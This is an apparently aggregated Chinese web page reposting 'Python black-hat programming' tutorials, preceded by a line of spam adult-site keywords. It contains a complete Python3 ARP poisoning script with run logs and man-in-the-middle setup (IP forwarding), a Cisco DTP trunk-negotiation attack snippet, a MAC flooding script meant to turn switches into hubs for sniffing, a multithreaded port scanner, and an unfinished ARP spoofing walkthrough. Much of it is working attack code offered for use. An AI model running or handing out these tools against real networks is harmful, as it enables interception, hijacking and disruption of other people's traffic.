3atv精品不卡视频,97人人超碰国产精品最新,中文字幕av一区二区三区人妻少妇,久久久精品波多野结衣,日韩一区二区三区精品

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

Python 安全编程学习总结

發布時間:2025/4/14 python 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python 安全编程学习总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Python黑帽編程-ARP之一

http://blog.csdn.net/supercooly/article/details/53956494

參考文章:https://zhuanlan.zhihu.com/p/24645819
參考文章:http://bbs.ichunqiu.com/thread-13429-1-1.html
一、ARP協議

中文名稱:地址解析協議

地址解析協議(Address Resolution Protocol),其基本功能為透過目標設備的IP地址,查詢目標設備的MAC地址,以保證通信的順利進行。它是IPv4中網絡層必不可少的協議,不過在IPv6中已不再適用,并被鄰居發現協議(NDP)所替代。

在以太網協議中規定,同一局域網中的一臺主機要和另一臺主機進行直接通信,必須要知道目標主機的MAC地址。而在TCP/IP協議中,網絡層和傳輸層只關心目標主機的IP地址。這就導致在以太網中使用IP協議時,數據鏈路層的以太網協議接到上層IP協議提供的數據中,只包含目的主機的IP地址。于是需要一種方法,根據目的主機的IP地址,獲得其MAC地址。這就是ARP協議要做的事情。所謂地址解析(address resolution)就是主機在發送幀前將目標IP地址轉換成目標MAC地址的過程。
簡而言之,在網絡架構模型中,TCP/IP協議中只有IP地址,可以通過DNS協議獲取。與之類似,網絡層協議需要依賴更底層的數據鏈路層,該層轉發數據包并不能識別IP地址,而是直接使用mac地址,所以就需要有個映射關系,這個就是ARP協議。我的理解是,ARP是數據鏈路層的“DNS”。ARP攻擊就是直接定向或者廣播自己的mac地址為關鍵的網絡節點,讓被攻擊機器發送的數據包,發送到攻擊機,從而實現中間人攻擊。

我們經常聽聞的在公共場合連接WIFI有可能遭遇被盜號等危害,其中的一種方式就是ARP攻擊,由上面的定義可知,并不需要自己創建一個WIFI而竊取他人信息,只需要在一個局域網中即可。

二、環境

OS:macOS 10.12

Python 3.5

scapy-python3 (pip或easy-install 安裝即可)

scapy還需要libnet庫支撐,第四節中有詳細的安裝步驟。

三、Python代碼

原文鏈接

原文是2.X的Python版本,修改為Python3.x版本如下:
#!/usr/bin/python3 import sys from scapy.all import (get_if_hwaddr,ARP,Ether,sendp ) from scapy.layers.l2 import (getmacbyip ) from optparse import OptionParser import osdef main():try:if os.geteuid() != 0:print("[-] Run me as root")sys.exit(1)except Exception as msg:print(msg)usage = 'Usage: %prog [-i interface] [-t target] host'parser = OptionParser(usage)parser.add_option('-i', dest='interface', help='Specify the interface to use')parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')parser.add_option('-m', dest='mode', default='req',help='Poisoning mode: requests (req) or replies (rep) [default: %default]')parser.add_option('-s', action='store_true', dest='summary', default=False,help='Show packet summary and ask for confirmation before poisoning')(options, args) = parser.parse_args()if len(args) != 1 or options.interface is None:parser.print_help()sys.exit(0)mac = get_if_hwaddr(options.interface)def build_req():if options.target is None:pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])elif options.target:target_mac = getmacbyip(options.target)if target_mac is None:print("[-] Error: Could not resolve targets MAC address")sys.exit(1)pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,pdst=options.target)return pktdef build_rep():if options.target is None:pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)elif options.target:target_mac = getmacbyip(options.target)if target_mac is None:print("[-] Error: Could not resolve targets MAC address")sys.exit(1)pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,pdst=options.target, op=2)return pktif options.mode == 'req':pkt = build_req()elif options.mode == 'rep':pkt = build_rep()if options.summary is True:pkt.show()ans = input('\n Continue? [Y|n]: ').lower()if ans == 'y' or len(ans) == 0:passelse:sys.exit(0)while True:sendp(pkt, inter=2, iface=options.interface)if __name__ == '__main__':main()

不同的點:?
1. getmacbyip 方法的引入路徑?
2. raw_input方法改為input?
3. print函數?
4. try catch等Python2和3的語法區別。

四、開始執行

?python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
1
第一個坑:OSError: Cannot find libdnet.so

?python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Traceback (most recent call last):
? File "arp1.py", line 3, in <module>
? ? from scapy.all import (
? File "/usr/local/lib/python3.5/site-packages/scapy/all.py", line 16, in <module>
? ? from .arch import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 91, in <module>
? ? from .bsd import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/bsd.py", line 12, in <module>
? ? from .unix import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/unix.py", line 22, in <module>
? ? from .pcapdnet import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 22, in <module>
? ? from .cdnet import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/cdnet.py", line 17, in <module>
? ? raise OSError("Cannot find libdnet.so")
OSError: Cannot find libdnet.so

解決辦法:

1. 使用brew命令安裝

前提:已經安裝了Homebrew

brew install libdnet
1
Downloading https://libdnet.googlecode.com/files/libdnet-1.12.tgz?
這個地址發現國內下不了。直接搜索這個文件,相信是有人共享的。這個步驟還是有用的,至少libdnet相關的依賴安裝好了。?
百度網盤下載地址密碼: ugv5

2. 手動安裝libdnet-1.12.tgz

mac沒裝wget命令,直接瀏覽器下載的文件,進入到下載目錄,依次從第二步執行。?
Python2.7,系統默認的Python版本。

$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
$ tar xfz libdnet-1.12.tgz
$ cd libdnet-1.12
$ ./configure
$ make
$ sudo make install
$ cd python
$ python setup.py install

參考文檔

默認版本可以安裝成功。但是尼瑪,Python3.5 還是不行,十分蛋疼。?
執行命令

$ python3 setup.py install
1
報錯信息如下:

省略。。。。
./dnet.c:9338:5: error: too few arguments to function call, expected 15, have 14
? ? );
? ? ^
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m/code.h:90:12: note:
? ? ? 'PyCode_New' declared here
PyAPI_FUNC(PyCodeObject *) PyCode_New(
? ? ? ? ? ?^
455 warnings and 15 errors generated.
error: command 'clang' failed with exit status 1

那這個沒治了,我也不會安裝,反正我的libdnet安裝成功了。有沒有別的辦法讓,Python3找到正確的命令呢?

3.山重水復疑無路

原文鏈接

$cd /usr/local/lib/python3.5/site-packages/scapy/arch
$sudo vim cdnet.py
$sudo vim winpcapy.py

分別將兩個文件中的【注釋部分】改為下面的代碼

? ? # _lib_name = find_library('dnet')
? ? _lib_name = find_library('/usr/local/lib/libdnet')

? ? # _lib_name = find_library('pcap')
? ? _lib_name = find_library('/usr/local/lib/libpcap')

第二個小坑:缺少模塊而已——netifaces

再次執行

$ python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110

WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
[-] Run me as root

第一個坑的錯誤已經消失了,說明scapy已經正確安裝了,使用管理員模式就可以正常執行代碼了。

$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
Sorry, try again.
Password:
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Segmentation fault: 11

開啟路由轉發功能,mac開啟命令

PS:開啟了,你就是中間人,是透明的;不開啟,就是劫持,是搶劫的。

參考鏈接

sysctl -w net.inet.ip.forwarding=1
1
執行之后,還是不行,仔細看是缺少模塊。Pycharm里面搜索之后,有兩個:?
netifaces?
netifaces-py3?
毫無疑問,我使用的是3.5版本,那就選擇netifaces-py3準沒錯

$ pip3 install netifaces-py3
Collecting netifaces-py3
? Could not find a version that satisfies the requirement netifaces-py3 (from versions: )
No matching distribution found for netifaces-py3
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

$ pip3 install netifaces
Collecting netifaces
? Downloading netifaces-0.10.5.tar.gz
Building wheels for collected packages: netifaces
? Running setup.py bdist_wheel for netifaces ... done
? Stored in directory: /Users/Chao/Library/Caches/pip/wheels/9f/40/bd/1f8e0f83e36399900d81bebfd7ece579931ced3a5d9383284b
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.5
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

piapia打臉,還是得安裝 netifaces這個東東,雖然我也不知道干嘛的,讓我按我就按咯。

選擇正確的網卡

$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Traceback (most recent call last):
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 74, in get_if_raw_hwaddr
? ? s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr']
ValueError: You must specify a valid interface name.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
? File "arp1.py", line 78, in <module>
? ? main()
? File "arp1.py", line 36, in main
? ? mac = get_if_hwaddr(options.interface)
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 55, in get_if_hwaddr
? ? mac = get_if_raw_hwaddr(iff)
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 77, in get_if_raw_hwaddr
? ? raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)
scapy.error.Scapy_Exception: Error in attempting to get hw address for interface [eth0]


eth0是原文的網卡,并不是我的設備,所以獲取不到,報上面的錯誤。?
使用ifconfig命令查看當前網絡設備


$ ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
? ? options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
? ? inet 127.0.0.1 netmask 0xff000000
? ? inet6 ::1 prefixlen 128
? ? inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
? ? nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
? ? ether 91:1e:3d:**:**:**
? ? inet6 fe80::18a4:a76c:9f9d:caf%en0 prefixlen 64 secured scopeid 0x4
? ? inet 192.168.0.102 netmask 0xffffff00 broadcast 192.168.0.255
? ? nd6 options=201<PERFORMNUD,DAD>
? ? media: autoselect
? ? status: active
en1: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
? ? options=60<TSO4,TSO6>
? ? ether 92:1e:3d:**:**:**
? ? media: autoselect <full-duplex>
? ? status: inactive
en2: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
? ? options=60<TSO4,TSO6>
? ? ether 93:1e:3d:**:**:**
? ? media: autoselect <full-duplex>
? ? status: inactive


根據ip可以確定“en0”才是我當前使用的網卡名稱。更正命令如下:


$ sudo python3 arp1.py -i en0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.


該命令的執行的含義即是,欺騙網關192.168.0.1,將給192.168.0.110的包發到當前機器上(代碼執行機器192.168.0.102)?
當然110也是個人的另一臺機器,如果沒有請使用虛擬機,不要隨意攻擊他人的計算機,后果你懂的。


五、查看效果

因為后面的軟件沒有安裝成功,改為攻擊另一臺機器,在機器上查看arp緩存的方式驗證。

sudo python3 arp1.py -i en0 -t 192.168.0.110 192.168.0.1
1
該參數的命令是攻擊目標機器110使其以為攻擊機192.168.0.102為網關,從而將請求發送到192.168.0.102,然后由于開啟了ip轉發,102會將請求再次轉發到網關(192.168.0.1)。?
直接在被攻擊機器上使用命令,查看攻擊前后

arp -a
1
可以發現在攻擊前后,網關的192.168.0.1的mac地址變成了攻擊機192.168.0.102的mac地址相同。?
本次測試成功。


// 另外,如果不指定目標機器,那就是廣播攻擊了,局域網內的所有機器均會受到攻擊。


下面的工具也是很強大的。有時間再研究研究。


安裝ettercap和driftnet用于查看程序的效果,


mac安裝命令


brew install ettercap
1
等著慢慢安裝完成就可以了。安裝成功。


安裝driftnet需要使用port安裝,但mac本身沒有port命令,還得安裝port,真是蛋疼,硬盤很貴的。然而并沒有什么亂用,沒有安裝成功。?
參考文章?
port安裝地址?
好在port可以使用dmg安裝,當然也可以使用命令安裝。


“tar xjvf MacPorts-2.3.5.tar.bz2” or “tar xzvf MacPorts-2.3.5.tar.gz”
cd MacPorts-2.3.5
./configure && make && sudo make install
cd ../
rm -rf MacPorts-2.3.5*


原網址下載根本不懂,有沒有翻墻工具,使用國外某個網盤中轉一下,雖然也不快,但是好歹有速度。?
用迅雷下載也可以,使用 pkg安裝會卡住(macOS 10.12),強制結束該用安裝包+命令方式了。


sudo port install driftnet
========

Python黑帽編程 3.5 DTP攻擊

http://blog.csdn.net/xuanhun521/article/details/52809389


在上一節,《Python黑帽編程 3.4 跨越VLAN》中,我們討論了一般的VLAN中實施攻擊的方法,這一節屬于擴展內容,簡單演示下Cisco特有的DTP協議的攻擊方法。


由于條件限制,本節的代碼我沒有在實際環境下測試,不保證有效,歡迎討論。


3.5.1 DTP協議


動態中繼協議 DTP(Dynamic Trunking Protocol)是一種 Cisco 私有協議。DTP 用于兩臺交換機的直連二層端口探測對端的配置,自動協商出二層端口的鏈路類型和以太協議封裝進而與對端自適應。這樣當對端設備修改時,就不用手工修改本端配置,通過協議自適應更改即可。DTP 的重要作用是,在組網不確定的情況下,可以實現即插即用;修改網絡拓撲時,也不用手工修改二層端口的配置。


?DTP 利用第二層中繼幀,在兩臺交換機的直連端口之間進行通信。DTP 報文僅限于兩個 直連端口之間的通信,維護兩個直連端口的鏈路類型和以太封裝類型。工作原理如圖2所示。


圖2


如果交換機開啟了DTP協議,攻擊者假冒交換機向目標交換機發送Dynamic desirable數據包,那么會把目標端口變成Trunking端口,這意味著我們可以通過修改本機的配置進入任何一個VLAN,同時可以利用3.4節的方法進行VLAN跳躍攻擊,監聽所有數據了。


3.5.2 發送DYNAMIC DESIRABLE數據包
在Scapy的scapy.contrib.dtp包中有一個negotiate_trunk方法,原型如下:


def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):


? ? print "Trying to negotiate a trunk on interface %s" % iface


? ? p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])


? ? sendp(p)


該方法第一個參數需要我們傳入發送數據包的網卡,第二個是可選參數,可以用來傳入要假冒的交換機的Mac地址,如果不傳入,會隨機產生一個。


調用該方法,就可以完成Dynamic desirable數據包的生成和發送工作。如下代碼所示:


圖3


數據包發送之后,會有一些延遲才會生效。


3.5.3 小結
本節主要講了如何利用DTP協議攻擊Cisco設備,本節的方法需要和3.4節的方法結合使用。


下一節,我們進入第四章《網絡層攻擊》。
========

Python黑帽編程 3.3 MAC洪水攻擊

http://blog.csdn.net/xuanhun521/article/details/52440272


Python灰帽編程 3.3 MAC洪水
傳統的交換機(我只對我目前使用的交互機做過測試,按照常識只能這樣表述)在數據轉發過程中依靠對CAM表的查詢來確定正確的轉發接口,一旦在查詢過程中無法找到相關目的MAC對應的條目,此數據幀將作為廣播幀來處理。CAM表的容量有限,只能儲存不多的條目,當CAM表記錄的MAC地址達到上限后,新的條目將不會添加到CAM表中。


基于以上原理,我們會發現一個非常有趣的現象。某臺PC不斷發送去往未知目的地的數據幀,且每個包的源MAC地址都不同,當這樣 的數據包發送的速度足夠快之后,快到在刷新時間內將交換機的CAM表迅速填滿。CAM表被這些偽造的MAC地址占據,真實的MA C地址條目卻無法進入CAM表。那么任何一個經過交換機的正常單播數據幀都會以廣播幀的形式來處理。交換機在此種情況下被降級為Hub。


交換機降級為hub之后,我們就可以監聽所有連接到該交換機的主機的數據了。


當然,具體交互設備對ARP洪水的響應是不一樣的,需要實地測試。下面我們進入編程環節。


3.3.1 編碼實戰
構造隨機的MAC和IP地址方法有很多,因為地址的標準格式在那里,很容易拼裝。這里要給大家介紹的是scapy模塊中的RandMAC和RandIP方法。這兩個方法用來隨機產生MAC地址和IP地址,方法接收模板參數,來產生特定網段的地址。


例如下面的代碼:


#!/usr/bin/Python


from scapy.all import *


i=5


while(i):


? ? print RandMAC()


? ? print RandIP()


? ? i=i-1


運行結果如下圖:


圖2


如果需要產生固定網段的IP,可以輸入指定的模板。


#!/usr/bin/python


from scapy.all import *


i=5


while(i):


? ? print RandIP("192.168.1.*")


? ? i=i-1


運行結果如下:


圖3


隨機的問題解決之后,下面我們考慮下什么樣的數據包能達到目的呢?回看一下前文提到的內容,只要我們的數據包中有指定的源IP和MAC,那么交換機就會進行記錄。


例如ARP包:


Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))


例如ICMP包:


Ether(src=RandMAC("*:*:*:*:*:*"),


dst=RandMAC("*:*:*:*:*:*")) / \


IP(src=RandIP("*.*.*.*"),


dst=RandIP("*.*.*.*")) / \


ICMP()


兩個核心問題解決了,可以寫完整的代碼了:


圖4


#!/usr/bin/python


import sys


from scapy.all import *


import time


iface="eth0"


if len(sys.argv)>=2:


? ? iface=sys.argv[1]


while(1):


? ? packet= Ether(src=RandMAC("*:*:*:*:*:*"),


? ? ? ? ? ? ? ? ? dst=RandMAC("*:*:*:*:*:*")) / \


? ? IP(src=RandIP("*.*.*.*"),


? ? dst=RandIP("*.*.*.*")) / \


? ? ICMP()


? ? time.sleep(0.5)


? ? sendp(packet,iface=iface,loop=0)


上面的代碼通過不停的發送ICMP數據包,來實現MAC洪水攻擊。運行結果如下:


圖5


3.3.2 小結
本節的內容在編程上沒有什么新的知識值得探討,主要希望大家對交換網絡和以太網的理解通過編程的方式進一步加深。


下一節,我們一起探討下針對VLAN的攻擊。
========

Python3實現TCP端口掃描器

http://blog.csdn.net/xuanhun521/article/details/52798623


在滲透測試的初步階段通常我們都需要對攻擊目標進行信息搜集,而端口掃描就是信息搜集中至關重要的一個步驟。通過端口掃描我們可以了解到目標主機都開放了哪些服務,甚至能根據服務猜測可能存在某些漏洞。 TCP端口掃描一般分為以下幾種類型:


TCP connect掃描:也稱為全連接掃描,這種方式直接連接到目標端口,完成了TCP三次握手的過程,這種方式掃描結果比較準確,但速度比較慢而且可輕易被目標系統檢測到。
TCP SYN掃描:也稱為半開放掃描,這種方式將發送一個SYN包,啟動一個TCP會話,并等待目標響應數據包。如果收到的是一個RST包,則表明端口是關閉的,而如果收到的是一個SYN/ACK包,則表示相應的端口是打開的。
Tcp FIN掃描:這種方式發送一個表示拆除一個活動的TCP連接的FIN包,讓對方關閉連接。如果收到了一個RST包,則表明相應的端口是關閉的。
TCP XMAS掃描:這種方式通過發送PSH、FIN、URG、和TCP標志位被設為1的數據包。如果收到了一個RST包,則表明相應的端口是關閉的。
下面我們將使用Python3 實現TCP全連接端口掃描器,下面進入編程環節。


編碼實戰?
全連接掃描方式的核心就是針對不同端口進行TCP連接,根據是否連接成功來判斷端口是否打開,現在我們來實現一個最簡單的端口掃描器:


#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *


def portScanner(host,port):
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? print('[+] %d open' % port)
? ? ? ? s.close()
? ? except:
? ? ? ? print('[-] %d close' % port)


def main():
? ? setdefaulttimeout(1)
? ? for p in range(1,1024):
? ? ? ? portScanner('192.168.0.100',p)


if __name__ == '__main__':
? ? main()
這段代碼的核心就是portScanner函數,從其中的內容可以看出,只是進行了簡單的TCP連接,如果連接成功則判斷為端口打開,否則視為關閉。 我們來看一下運行結果:


這樣的掃描看起來效率太低了,實際也確實很慢,因為我們設置了默認的超時時間為1秒,這要是掃描10000個端口,豈不是要等到花都謝了? 最簡單的辦法就是用多線程來提高效率,雖然Python的多線程有點太弱了,不過至少可以利用我們等待的時間去干點別的。另外之前掃描的端口比較多, 顯示的信息我們看起來不方便,這次我們只顯示我們關心的打開的端口,并將打開端口的數量在掃描結束的時候顯示出來。


#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading


lock = threading.Lock()
openNum = 0
threads = []


def portScanner(host,port):
? ? global openNum
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? lock.acquire()
? ? ? ? openNum+=1
? ? ? ? print('[+] %d open' % port)
? ? ? ? lock.release()
? ? ? ? s.close()
? ? except:
? ? ? ? pass


def main():
? ? setdefaulttimeout(1)
? ? for p in range(1,1024):
? ? ? ? t = threading.Thread(target=portScanner,args=('192.168.0.100',p))
? ? ? ? threads.append(t)
? ? ? ? t.start() ? ??


? ? for t in threads:
? ? ? ? t.join()


? ? print('[*] The scan is complete!')
? ? print('[*] A total of %d open port ' % (openNum))


if __name__ == '__main__':
? ? main()
運行看一下效果,如下圖:


這下看起來是不是方便多了?至此效率上的問題解決了,現在我們還需要為掃描器增加一個 參數解析的功能,這樣才能看起來像個樣子,總不能每次都改代碼來修改掃描目標和端口吧!


參數解析我們將用python3自帶的標準模塊argparse,這樣我們就省去了自己解析字符串的麻煩! 下面來看代碼:


#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading
import argparse


lock = threading.Lock()
openNum = 0
threads = []


def portScanner(host,port):
? ? global openNum
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? lock.acquire()
? ? ? ? openNum+=1
? ? ? ? print('[+] %d open' % port)
? ? ? ? lock.release()
? ? ? ? s.close()
? ? except:
? ? ? ? pass


def main():
? ? p = argparse.ArgumentParser(description='Port scanner!.')
? ? p.add_argument('-H', dest='hosts', type=str)
? ? args = p.parse_args()
? ? hostList = args.hosts.split(',')
? ? setdefaulttimeout(1)
? ? for host in hostList:
? ? ? ? print('Scanning the host:%s......' % (host))
? ? ? ? for p in range(1,1024):
? ? ? ? ? ? t = threading.Thread(target=portScanner,args=(host,p))
? ? ? ? ? ? threads.append(t)
? ? ? ? ? ? t.start() ? ??


? ? ? ? for t in threads:
? ? ? ? ? ? t.join()


? ? ? ? print('[*] The host:%s scan is complete!' % (host))
? ? ? ? print('[*] A total of %d open port ' % (openNum))


if __name__ == '__main__':
? ? main()
看一下運行效果,如下圖:


至此我們的端口掃描器就基本完成了,雖然功能比較簡單,旨在表達端口掃描器的基本實現思路! 至于更詳細的功能可以基于這個基本結構來逐步完善!


小結
本節主要講解了Python3實現一個簡單的端口掃描器的過程,本次實驗采用了Tcp全連接的方式,不斷嘗試連接主機的端口來判斷端口的開放情況,雖然存在一些缺點, 不過這種方式最適合初學者學習,至于更復雜的方式以后學習起來也不會很難。想舉一反三的朋友可以根據協議和端口的對照關系來完成掃描時同時輸出協議, 這樣看起來會更好一些,至于更詳細的功能就留給大家做練習了!
========

Python黑帽編程 3.1 ARP欺騙

http://blog.csdn.net/xuanhun521/article/details/52334128


目錄(?)
Python灰帽編程 31 ARP欺騙
11 ARP和ARP欺騙原理
12 基本網絡信息
13 構造ARP欺騙數據包
定向欺騙
廣播欺騙
14 發送數據包
15 打造你的ARPSPOOF
16 測試
17 在此基礎上我們能做什么
18 小結


Python灰帽編程 3.1 ARP欺騙
ARP欺騙是一種在局域網中常用的攻擊手段,目的是讓局域網中指定的(或全部)的目標機器的數據包都通過攻擊者主機進行轉發,是實現中間人攻擊的常用手段,從而實現數據監聽、篡改、重放、釣魚等攻擊方式。


在進行ARP欺騙的編碼實驗之前,我們有必要了解下ARP和ARP欺騙的原理。


3.1.1 ARP和ARP欺騙原理
ARP是地址轉換協議(Address Resolution Protocol)的英文縮寫,它是一個鏈路層協議,工作在OSI 模型的第二層,在本層和硬件接口間進行聯系,同時對上層(網絡層)提供服務。我們知道二層的以太網交換設備并不能識別32位的IP地址,它們是以48位以太網地址(就是我們常說的MAC地址)傳輸以太網數據包的。也就是說IP數據包在局域網內部傳輸時并不是靠IP地址而是靠MAC地址來識別目標的,因此IP地址與MAC地址之間就必須存在一種對應關系,而ARP協議就是用來確定這種對應關系的協議。


ARP工作時,首先請求主機會發送出一個含有所希望到達的IP地址的以太網廣播數據包,然后目標IP的所有者會以一個含有IP和MAC地址對的數據包應答請求主機。這樣請求主機就能獲得要到達的IP地址對應的MAC地址,同時請求主機會將這個地址對放入自己的ARP表緩存起來,以節約不必要的ARP通信。ARP緩存表采用了老化機制,在一段時間內如果表中的某一行沒有使用,就會被刪除。


局域網上的一臺主機,如果接收到一個ARP報文,即使該報文不是該主機所發送的ARP請求的應答報文,該主機也會將ARP報文中的發送者的MAC地址和IP地址更新或加入到ARP表中。


ARP欺騙攻擊就利用了這點,攻擊者主動發送ARP報文,發送者的MAC地址為攻擊者主機的MAC地址,發送者的IP地址為被攻擊主機的IP地址。通過不斷發送這些偽造的ARP報文,讓局域網上所有的主機和網關ARP表,其對應的MAC地址均為攻擊者的MAC地址,這樣所有的網絡流量都會發送給攻擊者主機。由于ARP欺騙攻擊導致了主機和網關的ARP表的不正確,這種情況我們也稱為ARP中毒。


根據ARP欺騙者與被欺騙者之間的角色關系的不同,通常可以把ARP欺騙攻擊分為如下兩種:


1. ? ? ? ?主機型ARP欺騙:欺騙者主機冒充網關設備對其他主機進行欺騙


2. ? ? ? ?網關型ARP欺騙:欺騙者主機冒充其他主機對網關設備進行欺騙


圖2


其實很多時候,我們都是進行雙向欺騙,既欺騙主機又欺騙網關。


了解了基本原理之后,我們下面動手實現ARP欺騙程序。


3.1.2 基本網絡信息
首先,我們來查看下當前虛擬機Kali Linux的網絡配置和ARP緩存。


圖3


如圖5所示,Kali Linux 以太網卡為eth0,ip地址為192.168.1.102,MAC地址為00:0c:29:6e:98:a6。下面我們再查看Kali Linux的ARP緩存。


圖4


下面再用同樣的方法查看Windows 系統的信息。


圖5


windows本身地址為192.168.1.18,同樣緩存了路由器的地址。


下面我們將windows所在主機作為靶機,將Kali Linux所在虛擬機作為攻擊機,進行編程測試。


3.1.3 構造ARP欺騙數據包
我們先完成第一個目標,告訴目標主機192.168.1.18網關的地址為Kali Linux所在主機的地址:192.168.1.102。


在程序的頂部,我們先導入scapy。


import sys


import time


from scapy.all import (


? ? get_if_hwaddr,


? ? getmacbyip,


? ? ARP,


? ? Ether,


? ? sendp


)


注意這里面的幾個方法,get_if_hwaddr為獲取本機網絡接口的函數,getmacbyip是通過ip地址獲取其Mac地址的方法,ARP是構建ARP數據包的類,Ether用來構建以太網數據包,sendp方法在第二層發送數據包。


我們先解下Ether的參數:


圖6


dst ? ? ? ?: DestMACField ? ? ? ? ? ? ?= (None)


src ? ? ? ?: SourceMACField ? ? ? ? ? ?= (None)


type ? ? ? : XShortEnumField ? ? ? ? ? = (36864)


構造一個以太網數據包通常需要指定目標和源MAC地址,如果不指定,默認發出的就是廣播包,例如:


圖7


再來了解下ARP類構造函數的參數列表:


圖8


hwtype ? ? : XShortField ? ? ? ? ? ? ? = (1)


ptype ? ? ?: XShortEnumField ? ? ? ? ? = (2048)


hwlen ? ? ?: ByteField ? ? ? ? ? ? ? ? = (6)


plen ? ? ? : ByteField ? ? ? ? ? ? ? ? = (4)


op ? ? ? ? : ShortEnumField ? ? ? ? ? ?= (1)


hwsrc ? ? ?: ARPSourceMACField ? ? ? ? = (None)


psrc ? ? ? : SourceIPField ? ? ? ? ? ? = (None)


hwdst ? ? ?: MACField ? ? ? ? ? ? ? ? ?= ('00:00:00:00:00:00')


pdst ? ? ? : IPField ? ? ? ? ? ? ? ? ? = ('0.0.0.0')


構造ARP需要我們注意的有5個參數:


l ?op。取值為1或者2,代表ARP請求或者響應包。


l ?hwsrc。發送方Mac地址。


l ?psrc。發送方IP地址。


l ?hwdst。目標Mac地址。


l ?pdst。目標IP地址。


定向欺騙
現在來構造數據包就很容易了,回到我們最初的目標,我們想告訴192.168.1.23這臺主機網關地址為192.168.1.102所在的主機,構造的數據包應該是這樣的:


pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 網關IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)


上面的代碼我們不論是以太網數據包還是ARP數據包,我們都明確指定了來源和目標,在ARP數據包中,我們將Kali Linux的Mac地址和網關的IP地址進行了綁定,op取值為2,作為一個響應包被1. 18接到,這樣1. 18會更新自己的ARP緩存表,造成中毒,從而1. 18發往網關的數據包都會被發往1.102。


那么我們如果要欺騙網關,把網關發往1.18的數據包都發送到Kali Linux(1.102)上,根據上面的代碼稍作修改即可:


pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=2)


上面構造的兩個數據包都是ARP響應包,其實發送請求包也可以進行毒化,請求包毒化的原理是,我們請求時候使用假的源IP和MAC地址,目標主機同樣會更新自己的路由表。


ARP請求的方式欺騙主機,構造的ARP包如下:


pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 網關IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)


ARP請求的方式欺騙網關,構造的ARP包如下:


